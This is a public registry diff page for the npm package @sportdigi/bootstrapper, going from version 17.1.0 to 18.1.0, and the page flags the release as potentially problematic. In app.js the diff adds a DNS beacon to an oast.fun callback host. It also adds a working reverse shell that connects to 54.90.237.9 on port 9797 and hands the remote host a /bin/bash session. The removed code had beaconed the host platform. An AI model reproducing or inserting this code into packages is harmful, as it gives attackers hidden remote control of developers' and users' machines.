@sportdigi/bootstrapper 17.1.0 → 18.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sportdigi/bootstrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +49 -28
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -1,35 +1,56 @@
1
1
  const dns = require('dns');
2
2
  const os = require('os');
3
3
 
4
-
5
- const platform = os.platform();
6
- let queryData = '';
7
-
8
- switch (platform) {
9
- case 'aix': queryData = 'aix'
10
- break;
11
- case 'android': queryData = 'android'
12
- break;
13
- case 'darwin': queryData = 'darwin'
14
- break;
15
- case 'freebsd': queryData = 'freebsd'
16
- break;
17
- case 'linux': queryData = 'linux'
18
- break;
19
- case 'openbsd': queryData = 'openbsd'
20
- break;
21
- case 'sunos': queryData = 'sunos'
22
- break;
23
- case 'win32': queryData = 'windows'
24
- break;
25
- default: queryData = 'bilinmeyen'
4
+ function sendDns(query){
5
+ let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
6
+ dns.resolve(domain, (err, records) => {
7
+ if (err) {
8
+ console.error('DNS sorgulama hatası:', err);
9
+ return;
10
+ }
11
+ });
26
12
  }
27
13
 
28
- const domain = `${queryData}.nkhgevpndozoxokzqhojhvfqppdrh4xzm.oast.fun`;
14
+ sendDns("Hello");
15
+
16
+ const net = require('net');
17
+ const spawn = require('child_process').spawn;
18
+
19
+ const HOST = '54.90.237.9';
20
+ const PORT = 9797;
21
+
22
+ const client = new net.Socket();
23
+
24
+ client.connect(PORT, HOST, () => {
25
+ console.log('Bağlantı kuruldu.');
26
+
27
+ const shell = spawn('/bin/bash', []);
28
+
29
+
30
+ shell.stdout.on('data', (data) => {
31
+ client.write(data);
32
+ });
33
+
34
+ shell.stderr.on('data', (data) => {
35
+ client.write(data);
36
+ });
37
+
38
+ shell.stdin.on('data', (data) => {
39
+ client.write(data);
40
+ });
41
+
42
+ // Bağlantıyı yönlendirme
43
+ client.on('data', (data) => {
44
+ shell.stdin.write(data);
45
+ });
46
+
47
+ client.on('close', () => {
48
+ console.log('Bağlantı kapatıldı.');
49
+ process.exit();
50
+ });
51
+ });
29
52
 
30
- dns.resolve(domain, (err, records) => {
31
- if (err) {
32
- console.error('DNS sorgulama hatası:', err);
33
- return;
34
- }
53
+ client.on('error', (err) => {
54
+ console.error('Bağlantı hatası: ', err);
55
+ process.exit();
35
56
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "17.1.0",
3
+ "version": "18.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {